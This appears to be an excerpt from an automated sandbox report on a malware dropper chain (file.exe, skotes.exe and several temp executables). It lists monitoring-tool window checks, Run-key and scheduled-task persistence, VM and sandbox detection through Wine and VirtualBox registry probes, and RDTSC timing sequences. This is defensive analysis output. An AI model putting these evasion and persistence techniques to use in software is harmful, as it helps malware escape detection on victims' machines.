Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d657e56348.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d657e56348.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7208c9365d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7208c9365d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9ef14397f2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9ef14397f2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c459772a8a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c459772a8a.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EEDF3 second address: 6EEDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B408 second address: 85B40C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8795FD second address: 879607 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1570C67156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879874 second address: 87987E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F15714A7BB2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879A24 second address: 879A40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1570C67168h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879D00 second address: 879D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879D04 second address: 879D14 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1570C67156h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879D14 second address: 879D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15714A7BB6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879D2E second address: 879D3A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jns 00007F1570C67156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879D3A second address: 879D40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879D40 second address: 879D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1570C67156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879D4A second address: 879D4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879E85 second address: 879E89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879E89 second address: 879E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 jbe 00007F15714A7BA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
